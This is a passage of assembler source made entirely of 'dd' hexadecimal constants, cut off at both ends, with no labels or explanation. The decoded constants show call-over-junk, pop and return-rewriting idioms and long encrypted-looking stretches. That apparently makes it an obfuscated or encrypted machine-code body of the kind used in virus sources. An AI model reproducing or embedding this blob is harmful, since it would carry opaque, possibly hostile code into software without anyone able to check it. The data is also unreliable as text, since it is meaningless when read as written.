3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0DE60C357h, 80F28166h, 158D8953h, 8905E723h dd 0E72491BDh, 0B985C705h, 4805E708h, 6A00005Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0D9E3C352h, 0F07F8777h, 47532EB8h, 9985C704h, 5E70Ch dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0C039C352h, 592E337Fh, 7DB5FF9Ah dd 6A05E701h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 3AA4C356h, 2B9CCBC8h, 0BD8BD256h dd 5E72CA9h, 32CD95FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0BB87C3C3h, 84DD881h dd 6AF93C99h, 1D95FF00h, 8B05E71Ah, 443BEBC0h, 23F7845h dd 253057F7h, 7326D940h, 29B5339Ch, 0C70A4B45h, 0F46FB5A1h dd 0FAC8C389h, 0B7BD14FAh, 0B11B5F73h, 0DCA7FA7Fh, 0F30A0FCEh dd 0C62914F6h, 47BAC7CDh, 128D62A3h, 0C08B20C6h, 0BD83DD8Ah dd 5E70D79h, 83097500h, 0E71C15BDh, 19740005h, 0C08B5350h dd 3FCB8h, 0D5858900h, 8D05E713h, 0E9AA349Dh, 5BD3FF05h dd 15BD8358h, 5E71Ch, 53501774h, 3FCB8h, 0D5858900h, 8D05E713h dd 0E9A7239Dh, 5BD3FF05h, 0CB8B6058h, 0EE8h, 18BD6700h dd 0A36B90E0h, 8653FC66h, 0F80B003Fh, 6A6158h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0CFCB09C3h, 0A9A5A197h, 6E9h, 5626B00h, 6687E1EEh, 8BE8B4BBh dd 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 4877047Ah, 0CA72ACFh, 12E9h, 87923700h dd 0FF9A6890h, 0D134913Ah, 81E7A637h, 83AD8661h, 0E707F1BDh dd 840F0105h, 83h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 9EC35242h, 0F4D8508h, 1D83h, 11E800h dd 0F39F0000h, 38A10075h, 4645F240h, 5E263AA2h, 0F98B664h dd 83h, 0BD835A00h, 5E72A35h, 34850F00h, 0F000000h, 38Ch dd 0DAEA8000h, 3301BD83h, 0F0005E7h, 8D84h, 18800F00h dd 0E9000000h, 13h, 3784C0F8h, 7973563h, 0B9ABFF91h, 0AE06DE5Ah dd 0E9B10A45h, 3D7h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0BFC35646h, 6C017A9Eh, 8AE17BECh, 0DFBF0Fh dd 0F000000h, 28Eh, 6ADF8B00h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 5095C355h, 7789906Eh dd 932ECDB7h, 7E8h, 89C88800h, 61E515Fh, 0BF2A54BAh, 477A5B09h dd 0F7174D39h, 0F2F84CCCh, 2B45C7C3h, 7F036FBCh, 18F7C646h dd 0F21546C6h, 0DA79C52h, 0A0F7AD13h, 0F2FBC42Bh, 31A7E7C3h dd 0D6AA4E99h, 0D63B46C7h, 0F2BFDAC7h, 318D85C3h, 0EA003571h dd 0BF819F41h, 7A6E05h, 0C8A75FFBh, 1B2F4CA5h, 0F27FC3BDh dd 1AEFC7A9h, 0F2DFC7C0h, 0AA2C9FE3h, 0F6D3834Ah, 0F6DF8342h dd 0F2FDC7D4h, 0AF3D9783h, 0A75B6A3Ah, 0F2BFC72Bh, 1F5E9AC3h dd 0F7034CC3h, 1AA2C7A9h, 0F2FBC7C0h, 0AF3E9AE3h, 0F6DAAB4Ah dd 0F65B8342h, 0F2BFC7D8h, 901C9286h, 0CA62C772h, 4961AE1Fh dd 0CC3458C6h, 62050748h, 0DEACAD79h, 941F97A3h, 62DE3C48h dd 1A8CC7A9h, 0F2EFC7C0h, 0A9349CE3h, 0F6DF9B4Ah, 0F6D98342h dd 0F2FEC7D4h, 2DBC9480h, 790349F0h, 0BEDEC810h, 0F28539E7h dd 0F2F42F91h, 0A8DBC7C3h, 0A6749D00h, 0B67FC3E7h, 0F264C3E7h dd 0A0FDC7C3h, 70ED4200h, 89A0DAB9h, 0F2E72FF9h, 65D0C7C3h dd 0A33F056Eh, 0A3047EC8h, 8F2F9D10h, 7CB010A1h, 0F2DFC7D7h dd 0F2EFC92Bh, 0C40ACDC3h, 3BA892B3h, 8A6E209Bh, 0A914CF8Eh dd 48199F99h, 0FEBA2F17h, 0FDDFC7C1h, 0F2EFC54Fh, 79294DC3h dd 0A4FBADCBh, 0F2FDC42Bh, 31A0E7C3h, 0D60B4E9Dh, 0D6FB46C7h dd 0F2DFD1C7h, 31B981C3h, 0A18BE2D7h, 860946A5h, 799B9D9Eh dd 4DF13B8Bh, 0F27E7F11h, 5908C7C3h, 0FD8D9752h, 0F2E02EF2h dd 0CBEBC7C3h, 0D4EA5947h, 0BC132F78h, 77AD96B9h, 0A2279D65h dd 922E1D49h, 792C70CCh, 7E89A63Bh, 0FD2E4C1Ah, 330D1F74h dd 0EC78C8C7h, 98FEC7C2h, 0F19792C3h, 0D2BFC7C3h, 7B82049Eh dd 73EBE3AFh, 0EEF3E387h, 0B7FBC7C3h, 180496h, 793DD5BBh dd 940CBDA3h, 98E61F48h, 0F13791C3h, 0D2EFC7C3h, 7BA9049Dh dd 73FFE3B7h, 0EAF9E387h, 0B4FEC7C3h, 5A800495h, 725426A9h dd 77D0AFFAh, 0F2EFC6F8h, 1AA7C7A9h, 0F2FBC7C0h, 0AA3E9FE3h dd 0F6DA834Ah, 0F65B8342h, 0F2BFC7DFh, 4A1C9783h, 0B46299Eh dd 1B0A08D2h, 0E612A7A3h, 9FDC7C3h, 99F779DBh, 3DE1FD69h dd 5FFFFE63h, 0E188D746h, 92918819h, 0A942A6A2h, 0F3824CA2h dd 30157CA5h, 0F2FE3842h, 707047C3h, 0F2BFC720h, 0F2D12EA3h dd 0B125C7C3h, 0B144B391h, 7701146h, 4CEF923Ah, 933D78CCh dd 78394204h, 0F2BEC22Fh, 0F2B5C7C3h, 0F2EC2F95h, 0ACD7C7C3h dd 86729900h, 0B67CC3E7h, 0F2E8C3E7h, 0A439C7C3h, 265C1500h dd 0F2DF152Ah, 0A17A7C3h, 0F2622EA2h, 0F291C7C3h, 0F2FE2F93h dd 0AADEC7C3h, 0B6F69F00h, 0B63EC3E7h, 0F2C2C3E7h, 0A2AFC7C3h dd 0D4C6C00h, 9B1A3F96h, 40116F22h, 0F2949E4Dh, 0F27C2F90h dd 0A99FC7C3h, 0AE569C00h, 0B66EC3E7h, 0F2EBC3E7h, 0A1B8C7C3h dd 0EC6D8A00h, 0AF838AF4h, 1B1F6002h, 0F2BFC7CCh, 4843EB3Ah dd 0FF26098Dh, 0B0F787F5h, 72ED1F8Ah, 949C7421h, 0DF5BE40h dd 0F25A43CCh, 0E256C7C3h, 14DFC7C3h, 0EDBA6319h, 96CD5F96h dd 1F46A11h, 941D4DA6h, 0E12C1D42h, 78394204h, 0F2BEC22Fh dd 0BA26C7C3h, 1ABCC7A9h, 0F2F7C7C0h, 0A9389CE3h, 0F6D99B4Ah dd 0F6DA8342h dd 0F27FC7DEh, 9A7C9480h, 4F6A98CEh, 5896C4EDh, 387694B3h dd 0CA486EA6h, 2A4AC898h, 4B2D78CCh, 0AEBB1A87h, 7D17424Eh dd 4F52C22Fh, 0F70349D1h, 0F5833FF8h, 3B2AC8F3h, 1B082C84h dd 0F2FEC7CCh, 0BCD8CB0Ch, 3E0BDA32h, 7614178Ch, 0FDC71113h dd 0F2F7CF4Eh, 0F072C8C3h, 78FDC7C3h, 3434439h, 0F37A20C4h dd 0F2F843CCh, 2C5FC7C3h, 0C7524497h, 0F2F220E9h, 0F2CC42CCh dd 0A0AEC7C3h, 0A9A53F49h, 0C17E7A40h, 0FDBFC224h, 0F2DF9647h dd 0A2EFADC3h, 0F2F7C42Bh, 31A3E7C3h, 0D6B94E9Bh, 0D6BA46C7h dd 0F27FDCC7h, 31EF87C3h, 0A1EEE1F4h, 0B9921C26h, 0F23B2E3Bh dd 0F291C7C3h, 0F2FE2F93h, 0AADEC7C3h, 0B6F69F00h, 0B63EC3E7h dd 0F2C4C3E7h, 0A2AFC7C3h, 1D88CB00h, 760B7A8Ch, 217CA1A4h dd 4F7DACCDh, 0F798C032h, 803AC8C2h, 98DFC7C3h, 0F10791C3h dd 0D2F7C7C3h, 7BA5049Dh, 73F9E3B7h, 0E7FAE387h, 0B47FC7C3h dd 0B0160495h, 0A2DFAD9Eh, 0F2EFC42Bh, 31AFE7C3h, 0D6BF4E9Bh dd 0D6B946C7h, 0F2FED1C7h, 312F87C3h, 31F435D5h, 0F2DFD62Bh dd 0D09FAAC3h, 73783326h, 1C4A8FBAh, 6A753516h, 0FB168A34h dd 0B87FC7C3h, 0B80DC0E1h, 0B17E0A93h, 222D46A5h, 1BAD9CB3h dd 0F2FBC7E9h, 691646A5h, 26749A24h, 0A77FAD0Ch, 0F2BFC42Bh dd 3182E7C3h, 0D6834E9Eh, 0D6B346C7h, 0F2FBDEC7h, 31A882C3h dd 3BA8427h, 4FF2DA78h, 0F7534D4Ah, 7DAA4A4Eh, 0EF57C22Fh dd 0C18CFD9Fh, 15EECA46h, 3332ECC6h, 874BC52Ah, 4EAEBB1Ah dd 2F7D1742h, 0D14F52C2h, 0F8F70349h, 0F3F5833Fh, 0E9832AC8h dd 83A4F305h, 0EC8A46BDh, 0D740005h, 4DFA8D8Dh, 1B805E7h dd 0FF000000h, 6A40E1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0CD0A29C3h, 6ADE8B66h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 3D20C357h, 0BD12099h, 0EBB6C939h, 0F52DE883h, 0B70FC08Bh dd 79BD83DEh, 5E70Dh, 0BD830975h, 5E71C15h, 50197400h dd 0B8C08B53h, 3FCh, 0F2D8589h, 9D8D05E7h, 5E9AA9Bh, 585BD3FFh dd 1C15BD83h, 740005E7h, 0B8535017h, 3FCh, 0F2D8589h, 9D8D05E7h dd 5E9A73Ch, 585BD3FFh, 1EB86660h, 0E4E08127h, 616166FDh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 37C35141h dd 0C08BD335h, 2DEBh, 0DD00000h, 319CBFAEh, 0ADF9DFF2h dd 8C88A7A5h, 0B7FB7552h, 0F99CBE00h, 937EE5ADh, 68009D89h dd 14672681h, 0B203B2BDh, 0E9701C1Fh, 0A28h, 0EC91AD68h dd 0ECC9E905h, 0C268FFFAh, 0E905EC92h, 0FFFAECBFh, 0EC93D868h dd 0ECB5E905h, 9668FFFAh, 0E905EC94h, 0FFFAECABh, 0EC952768h dd 0ECA1E905h, 0FB68FFFAh, 0E905EC95h, 0FFFAEC97h, 0EC969868h dd 0EC8DE905h, 7068FFFAh, 0E905EC98h, 0FFFAEC83h, 0EC998268h dd 0EC79E905h, 61AFFFFAh, 7EACFB55h, 7EABF058h, 62A5F25Eh dd 79A18E42h, 8F268F41h, 61EFEFDBh, 61EFEFDAh, 7FD1F1DAh dd 7AD6F8D0h, 36BA1FB7h, 0CDC69972h, 0D35E8DEh, 75E2C0A8h dd 0B3F2C3C3h, 953DE00Ch, 62732A00h, 0D6F8C9C9h, 0D17F5F49h dd 0B005424Ah, 0C69973C8h, 423683CBh, 41C69973h, 88D62770h dd 0AB1501EFh, 2E6A32B5h, 0CEEBE3CCh, 0CC8E678Dh, 93199EAh dd 0FBC7E726h, 67BB838Ch, 9BF63506h, 0F3A3ADB1h, 1C5F7FACh dd 9F371731h, 0F7C29BB0h, 0C8AD4701h, 9AE03102h, 710E70B3h dd 0E5309A7Bh, 0C2845AF0h, 52F7A4F5h, 1A760FB4h, 8789D3Eh dd 0B1FF0000h, 0AEFC4B85h, 0CEFB4088h, 0D2F5428Eh, 0C9F15EF2h dd 3F765FF1h, 311F3F6Bh, 311F3F6Ah, 0CF01216Ah, 0CA062860h dd 66CAEFE7h, 7DC69973h, 7A52580Eh, 0EF390654h, 0E55D01CFh dd 7BD42069h, 0D7EAC911h, 0CD527419h, 40288DC4h, 43C3756Bh dd 88C22172h, 5C79D02Dh, 0A6F4C5C9h, 927561D3h, 527417C6h dd 0F1F3D64Eh, 0B92F0761h, 0D8B8FCFAh, 0D7E7D31Eh, 3C2F94h dd 2BB0000h, 0B2FD26EEh, 0CDEF8AAEh, 349930A4h, 7E4F986Bh dd 0D7E84154h, 0B485C95Ch, 0A7219366h, 0B457C692h, 49960E12h dd 0F84761F2h, 57AFF3D3h, 47116044h, 674697FBh, 0AA9Eh dd 7A522800h, 0F1390654h, 828AF5C9h, 754969A2h, 88F7CB14h dd 0B14BE80h, 70FC3F1Fh, 75E6D0A1h, 654943C3h, 6A4C5CEBh dd 0AAE34C14h, 892CB48Ah, 0C375E627h, 0A382D33Ch, 85CDD01Ch dd 5CF21F30h, 854B94C9h, 4B0302EEh, 0B894AA6Eh, 567849CCh dd 57F9C1C9h, 3F8DEC8h, 7020B428h, 630B50E8h, 90000007h dd 91BE92A4h, 0ECBB95B5h, 0EEB59BA3h, 0EAB19FBFh, 63B29EBCh dd 24121C54h, 24101F24h, 2E0E1F24h, 13331522h, 0FFDA8C3Dh dd 0C6997009h, 35AF1B0Ah, 0C11D3D6Ah, 78A68DE8h, 67A18E42h dd 196A5259h, 0EB200F37h, 2FEE8CBh, 98A72FEEh, 5B46A9ADh dd 6F4A0063h, 0C95CFE8Eh, 624444ABh, 8C68CD11h, 19C692FEh dd 0E5D22810h, 0A09483BDh, 0DC22735Ah, 0F25E7813h, 45A4FAD8h dd 9535D674h, 0F272158Fh, 0CD3761h, 52B30000h, 3906547Ah dd 0EDF5C9F1h, 1B675742h, 0AD16F332h, 34C375E6h, 0D0983214h dd 75E673C5h, 0C42770C3h, 0DBE92308h, 0BE9CEDF1h, 66B3CB21h dd 0C375E692h, 20694091h, 3287CF18h, 0C95CF219h, 350D4596h dd 0BD415AFCh, 0CCE9E168h, 0C6925764h, 1CF2E7Fh, 0CF87866Ah dd 0F67A5F07h, 8DC69257h, 319841BCh, 32CCB83Ch, 5846E9E1h dd 15A06862h, 0C8A4BEA3h, 0D81457A0h, 211F0B14h, 0A6F4C5E5h dd 1096447h, 4DF34439h, 97B37021h, 64DC4h, 0B89E8A00h dd 0A3838B90h, 0A19986ADh, 0A58980AFh, 0A4929CABh, 366A19A4h dd 311E3208h, 311E320Ah, 0F143414h, 9217391Dh, 7113E530h dd 0E510C699h, 566452B5h, 5B7BADFAh, 3966C9F5h, 52B42201h dd 5E06547Ah, 280CFBE6h, 0A281DACBh, 27675D4Fh, 871A3607h dd 0C375CE3Dh, 13560CFh, 52519F22h, 26075B7Bh, 0E035FDD5h dd 0C375CE18h, 0E3EBCA1Bh, 625FE6D6h, 3AACFDC9h, 3D133315h dd 846C4971h, 9FC6995Fh, 8006F4Eh, 0C088D826h, 995F03F5h dd 0F43700C6h, 686223C9h, 0B1B4784Dh, 84AC84CCh, 8B713BA5h dd 75A709ACh, 53BCC8A6h, 1F522302h, 25DA2B13h, 7023891Eh dd 8FCD8EAAh, 0C4000005h, 0C552FED8h, 0C06FE1C1h, 0C269E7D7h dd 0DE65EBCBh, 5F66EAD0h, 70467028h, 704473D8h, 7A5A73D8h dd 7F5F49D6h, 23F6D0D1h, 0C699765Dh, 52732756h, 3906547Ah dd 0DFF3CFEFh, 0CEDE6A6Ch, 0F16360E8h, 0D367D98Eh, 7, 1513E97h dd 0D8680000h, 0C375E25Ch, 7CAC5399h, 0D425045Ah, 73DE27F2h dd 8ADBC962h, 92D7FC0h, 75078C7h, 3B673DC5h, 94EE3F03h dd 0B5868C40h, 0E3A24E69h, 8BF9CEEBh, 0ADFECCB1h, 239B73F0h dd 0FCDF7B70h, 4FEh, 0C10F4F75h, 0DE72507Ah, 0D8704871h dd 0D4745873h, 0D57B434Fh, 0B9E1B9C8h, 0B5E04F81h, 0ABE04F81h dd 0AEFE458Bh, 61614088h, 9977EC54h, 0C2B4E7C6h, 6547A52h dd 0F3CFEF39h, 0B96A6CDFh, 4B97B796h, 0FC2C0362h, 0FF9176DAh dd 0CD67D98Eh, 7, 0B93E99h, 2680000h, 2B4526EEh, 71CDB306h dd 0F5C6C375h, 1CFD98ADh, 0D83E9B33h, 0DFC962F9h, 517BC48Eh dd 5474C30Dh, 5D932C72h, 0CA8316B8h, 5ECC8F68h, 822B59E6h dd 0FD3854FEh, 0EF973F08h, 176B4B40h, 0B098F736h, 0B395A2AEh dd 34143B93h, 36F4CC12h, 123E815Bh, 704EADFEh, 0AB1DB860h dd 0A8C8ACAEh, 0CABD075Fh, 0D3605968h, 1EFFED90h, 0A47C61B4h dd 2879C285h, 10690073h, 1348E076h, 42Ah, 0F55B63A9h, 0F25E7CAEh dd 8C5C7CA5h, 884064A7h, 894777A3h, 0EDD58D24h, 0E9D463EDh dd 0F7D463EDh, 0FAD279D7h, 1DB574D4h, 997730B8h, 96C033C6h dd 1D3D6A35h, 1219FDEh, 2CB0000h, 310931EEh, 66AD9CEDh dd 684D0556h, 0C9627312h, 0A18EC011h, 68505967h, 0DCFC2512h dd 1028A2F3h, 9E899D45h, 310960BEh, 3570B12Ch, 1638103Fh dd 97A793BCh, 9F4D6A54h, 88C1D4FEh, 0E5CC8E12h, 3B6D3294h dd 3E6E351Bh, 47A5C218h, 24A90C46h, 0A1C2840Dh, 0C2AB50h dd 16327610h, 38D45h, 0F8DECA00h, 0E3C3CB50h, 0E1D9C66Dh dd 0E5C9C06Fh, 0E4D2DC6Bh, 762A5964h, 71DE7248h, 71DE724Ah dd 4FD47454h, 0D2D7795Dh, 745325F0h, 2550C699h, 3F6A3575h dd 0D7F1DC1Fh, 4C5CABF7h, 0FC2B146Ah, 90B582D8h, 75B63AEh dd 0A989D526h, 0EE906115h, 6661C8FDh, 0E7D7C060h, 5561B29Bh dd 1827E0E6h, 34040D33h, 68B687E6h, 0D5290D1Fh, 6548ABF4h dd 0E95F7A23h, 74C37516h, 57A07155h, 4BC5CA06h, 7967D89Ah dd 37h, 2FEE024Dh, 30A412A7h, 4293C95Dh, 0DCFA2708h, 0B495E9CDh dd 6FD4E56Bh, 0FAC692ACh, 71F185D2h, 4C15A2DCh, 5946ED63h dd 0D7BE1D61h, 0F4000002h, 15D61ABh, 529DCD28h, 7C584779h dd 0D4F4D11Eh, 1B56A786h, 0FCC21333h, 9BB599B3h, 0F6C39C8Ch dd 0C375E202h, 9BE73001h, 0F65A7CACh, 0B812F3F9h, 5CF0201Dh dd 0F6C415C9h, 336A56EEh, 7FD1D7FDh, 40D95B3Ch, 424CC692h dd 0D1D92674h, 7AE195E9h, 0AF7CD25Ch, 0E8AF212Bh, 0C36C61F1h dd 328BEACAh, 41h, 2FEE02B4h, 0FEB912A7h, 65B6C95Ch, 0FED0A419h dd 0E5A6C692h, 5D7820E5h, 0C692FEEBh, 0C95C9FE8h, 61F27257h dd 0CD75h, 0FDA56D00h, 92CA50D8h, 0A50253C6h, 0C692CAD3h dd 247A404Eh, 0C82B74C5h, 547A529Eh, 0D7F13906h, 0BF88D6F6h dd 19704E6Eh, 33A3FFC8h, 0D81B236Ch, 0AFF3D3F5h, 0EA664840h dd 75E66ED7h, 0F3D3F5C3h, 0EED6F65Dh, 6E4C9DBDh, 0F8A7CE66h dd 421514ACh, 8D905C63h, 7321DC5h, 9213F437h, 5FC95CBDh dd 0C725C20Eh, 7BC48CC6h, 0DA330F4Fh, 0D6E33E9Bh, 6129CCB8h dd 0A4E4EC54h, 5796E7C8h, 0BE9E8BE6h, 0ECDA656Dh, 0EDD562EEh dd 0F85130EDh, 41997020h, 1B51Ah, 0C0F62200h, 0CBEB2308h dd 0C9F13E05h, 0CD113807h, 0CC0A3403h, 0AE02B11Ch, 0A9F65A60h dd 0A9F65A62h, 0A78C5C7Ch, 3A8F4165h, 7ABB0DA8h, 4DB8C699h dd 5664521Dh, 5B7BADFAh, 0EE02D5F5h, 0E1320A31h, 625846E9h dd 0B0AB1318h, 49A4C112h, 0B5D7A80Dh, 83ECC95Ch, 857AFABFh dd 5F0CC692h, 27BF513Bh, 0D37C61F2h, 0A38AD0E4h, 2975414Ch dd 0D918E5C0h, 0B6000000h, 91452B8Eh, 0D5EC692h, 0FBC7F722h dd 52075392h, 5E06547Ah, 1DF02AE6h, 0C5F061C6h, 6E45A0F1h dd 0E2566320h, 0E1C3759Bh, 6B7B4790h, 80E3DBC4h, 759F5E27h dd 9AC3C5C3h, 759F493Fh, 28794AC3h, 16C47C20h, 65224195h dd 0DA200604h, 6C43A2F3h, 9CC41A3Ch, 587FC1D4h, 2B74C375h dd 5F37B5C8h, 0E33BE922h, 507A4B67h, 5CA9CC45h, 0F058A9C9h dd 0BE10F5FBh, 0B8ED5D1Bh, 4D0556CCh, 0A96CA4F5h, 8A81BFC4h dd 0FA68B273h, 0E5F1CC0Fh, 0E26E6C5Ah, 0B06D6D55h, 702137DBh dd 0A3B42703h, 0D0000000h, 0D17ED2E4h, 2C7BD5F5h, 2E75DBE3h dd 2A71DFFFh, 0A372DEFCh, 64525C14h, 64505FE4h, 6E4E5FE4h dd 537355E2h, 3F9ACCFDh, 0C6997B49h, 526F5B4Ah, 0ADFA5664h dd 0D5F55B7Bh, 6547A52h, 1CFEF39h, 0CF87866Ah, 6273ACEAh dd 45AABC9h, 3CD113Bh, 0EC321434h, 8AF61509h, 0FD9DCC3Ch dd 47477DAFh, 0E1321B67h, 0E6C8C06Fh, 2F9124ECh, 24B8A8F4h dd 59A698DBh, 0DB646E4Eh, 0EB63DAF3h, 87D3C5C8h, 220168B6h dd 9733D8DCh, 1D331335h, 0EA301636h, 0DF1h, 6A353900h dd 0F4C31F3Fh, 41BC8DC9h, 6652AF63h, 0EB3D0A50h, 8388F7CBh dd 25105FA3h, 0B4E2CD11h, 434FB886h, 0F1D8277Bh, 79A691EDh dd 18327D41h, 5002E43Ah, 405E089h, 83000000h, 48704E8h dd 24248B24h, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68242C89h dd 7499h, 68240C89h, 5EC90FDh, 83242C8Bh, 0EC8104C4h, 4 dd 83242489h, 59042404h, 8904EC83h, 3481242Ch, 95548724h dd 8418F67h, 87087181h, 0FF679554h, 81592434h, 4C4h, 2434FF00h dd 4C4835Dh, 0FAE2BAE9h, 50EF7AFFh, 9D19D2F8h, 0D4FBFFDh dd 0B9618AECh, 0EC9A4AB8h, 0FFC50305h, 9E627FE0h, 7CF9AF7Dh dd 0C210F643h, 7BB3E839h, 1772830Bh, 4762802Fh, 9E47FE2Fh dd 996B1837h, 85EA6B68h, 0F871EB1Eh, 8BD8C214h, 15CE915h dd 1DBF0000h, 4983F1A7h, 5A9097BFh, 54AB0BADh, 54B052A6h dd 5AB70BA5h, 738D52AEh, 26873B85h, 27A752D7h, 7B3BC5F7h dd 0B4BC6143h, 16175290h, 17DF52E1h, 16FB52E1h, 16F952E1h dd 16FE52E1h, 167F52E1h, 169052E1h, 16DF52E1h, 16E752E1h dd 16F752E1h, 6FA852E1h, 7B982692h, 64AE72E1h, 651A318Eh dd 16BF0F92h, 16DF52E1h, 16EF52E1h, 16F752E1h, 16FB52E1h dd 16FD52E1h, 16FE52E1h, 167F52E1h, 16BF52E1h, 16DF52E1h dd 16EF52E1h, 16F752E1h, 16FB52E1h, 16FD52E1h, 16FE52E1h dd 167F52E1h, 16BF52E1h, 16DF52E1h, 16EF52E1h, 16F752E1h dd 16FB52E1h, 16FD52E1h, 16FE52E1h, 167F52E1h, 16BF52E1h dd 16DF52E1h, 16EF52E1h, 16F752E1h, 16FB52E1h, 16FD52E1h dd 16FE52E1h, 167F52E1h, 16BF52E1h, 16DF52E1h, 16EF52E1h dd 16F752E1h, 16FB52E1h, 16FD52E1h, 16FE52E1h, 167F52E1h dd 16BF52E1h, 16DF52E1h, 16EF52E1h, 16F752E1h, 16FB52E1h dd 16FD52E1h, 16FE52E1h, 167F52E1h, 16BF52E1h, 16DF52E1h dd 16EF52E1h, 16F752E1h, 16FB52E1h, 16FD52E1h, 16FE52E1h dd 167F52E1h, 16BF52E1h, 16DF52E1h, 16EF52E1h, 16F752E1h dd 16FB52E1h, 0ACF052E1h, 0F5E95CC0h, 68000016h, 5EC9E3Eh dd 0FBA8C6E9h, 9F2A68FFh, 0BCE905ECh, 68FFFBA8h, 5EC9FF2h dd 0FBA8B2E9h, 0A08868FFh, 0A8E905ECh, 68FFFBA8h, 5ECA205h dd 0FBA89EE9h, 0A37668FFh, 94E905ECh, 68FFFBA8h, 5ECA430h dd 0FBA88AE9h, 0A4D768FFh, 80E905ECh, 68FFFBA8h, 5ECA706h dd 0FBA876E9h, 0A7EC68FFh, 6CE905ECh, 68FFFBA8h, 5ECA89Eh dd 0FBA862E9h, 0A91768FFh, 58E905ECh, 68FFFBA8h, 5ECAAC5h dd 0FBA84EE9h, 0B0B268FFh, 44E905ECh, 68FFFBA8h, 5ECB1CBh dd 0FBA83AE9h, 75B2B7FFh, 0D6031868h, 8F64FBCDh, 63BC42A6h dd 0C5162E1Ah, 4D34E5F8h, 2F1962B7h, 0F5F3D819h, 5DABB075h dd 540E17C8h, 0EC205E77h, 78B351Ah, 7DB24B4Ah, 8F60E543h dd 20F614A6h, 4EA9C320h, 0D9F08467h, 0FDDA8406h, 0D5FE4DDAh dd 36DD4AEEh, 8865F94Fh, 788ADEA1h, 202705BFh, 674EA9C3h dd 0BBF1D2A2h, 0CB344CA5h, 4A05755Eh, 85613511h, 8471E075h dd 20167400h, 79000000h, 0B534FF1Dh, 0DD8CF118h, 0E7915836h dd 116CFC7Eh, 7E8C9835h, 9E68EBh, 0E21F74h, 0CE420000h dd 0F08861FAh, 0B74E9237h, 64F84E66h, 7048A62Fh, 48E330F6h dd 6CF15761h, 1A23F9B3h, 141662C5h, 0C95E99D3h, 75B2F7F8h dd 0A9FF30F6h, 0D9225A97h, 90E57840h, 0F674C73Bh, 3CF90930h dd 128BB84h dd 0EF714726h, 0CEB17A32h, 0F6746985h, 0BE6BC230h, 75AAB3B5h dd 0A1C683Bh, 183A74D5h, 0D47B50D3h, 9D36DD80h, 0E88EB50Fh dd 43C409C4h, 0E73CCC18h, 0A81B62CDh, 0B217CC5Ch, 15C3E1B1h dd 5A978D15h, 0DB02DBCAh, 147FB8F0h, 0D2F23895h, 9E593307h dd 8B43D92Fh, 4952BD72h, 9434E57Fh, 0D992827Ch, 5BBC27B9h dd 75000014h, 0DE2A33F4h, 0B98F9445h, 604DA6h, 0ECC421FEh dd 23BA8358h, 20F90376h, 865BEDDBh, 7EB74BBDh, 0D50A1315h dd 983596C8h, 351AEE62h, 4B8CC9C9h, 151378B1h, 99F6DF10h dd 26B7BACEh, 255F98AAh, 9E86AEDAh, 15AF849Bh, 2446C32Ah dd 517ACD06h, 36DDD80Eh, 508D91A7h, 0A4963F49h, 92351138h dd 0CC1A528Bh, 0D2CAE237h, 818760EEh, 0C42F08A0h, 15A856B2h dd 7400723Eh, 0A725h, 0B24BAC00h, 7092E8E5h, 0A63930F6h dd 0F670D12Dh, 0E8F37A30h, 0E8AA3E81h, 2E73B5D1h, 78CED673h dd 0D07D37E4h, 30F69153h, 40AD829Bh, 6800DD60h, 0BA388117h dd 3F6E3F65h, 39F2106Ah, 20220D46h, 1D6B36DDh, 0C7F280Dh dd 0FECA2738h, 5BA08B6Ch, 53D2193Bh, 7A0257Ah, 0DEA18833h dd 5CB9728Ah, 891BD054h, 0D9923171h, 6F4912A2h, 61000013h dd 0CA3E07E0h, 9593F831h, 7C745192h, 0D82835EAh, 0D78E9744h dd 34E57F62h, 0EA47D92Fh, 42A3A781h, 39F60F79h, 0AC29BADCh dd 351AEF4Eh, 4BB0EDE5h, 151378B1h, 99F6DF10h, 8A7DB24Bh dd 0D049AABEh, 0EDF66C4h, 0E73CC325h, 0F02D3004h, 0CAAA7FB8h dd 2F34E97Ch, 0FECAEADBh, 9B13B465h, 4DA12A79h, 0E630F670h dd 0C885644Fh, 36DD7845h, 0D3844DE4h, 2D67A660h, 582BE002h dd 75AAB389h, 7830F177h, 86B9EABFh, 2FC4B042h, 0B317A504h dd 4CA22BDAh, 0E7C77C60h, 712E384Ch, 0EDF42D33h, 0B6D4583Ch dd 0CCC18A7Dh, 61C16A52h, 50A477F6h, 27F80DCDh, 0CE5BA4DCh dd 0A18A63FAh, 0BF61BE47h, 0CBE4E365h, 0A7450E96h, 0B9000012h dd 2664FA8h, 0EDDB20F9h, 0B4BC995Ah, 10107DB2h, 9FF6DF0Ch dd 7CADB72Ah, 0D20F1117h, 8A6BFFC9h, 61BE47A1h, 54614204h dd 351AEF16h, 4B7815BDh, 0B3437DB2h, 0E2EB5A91h, 36DD9E63h dd 36321BD2h, 36C6FE2Fh, 676CDF14h, 33042628h, 4D75681h dd 71812C70h, 28F151F1h, 0DB20FD00h, 0ED8758EDh, 1E02B49h dd 98D6FF4Eh, 3330FDEBh, 0CB266F38h, 6236E890h, 192C78CBh dd 7489FFC4h, 4F6D01BBh, 0DA82584h, 9C333A8Ch, 3D3BF355h dd 0D8F8D984h, 12117Fh, 0F93EC300h, 5A8F949Ch, 33F07771h dd 9748DE2Ah, 49A2BA8Eh, 0D9C0696Ch, 0BB8D9643h, 1674CA5h dd 0E9DF2401h, 0D8B29B54h, 0D0ACC28Bh, 8B07351Ah, 78B14BCEh dd 619D3689h, 0CA30F670h, 0ED8DA663h, 0BB379CCFh, 1030F670h dd 460FFED9h, 36DD8523h, 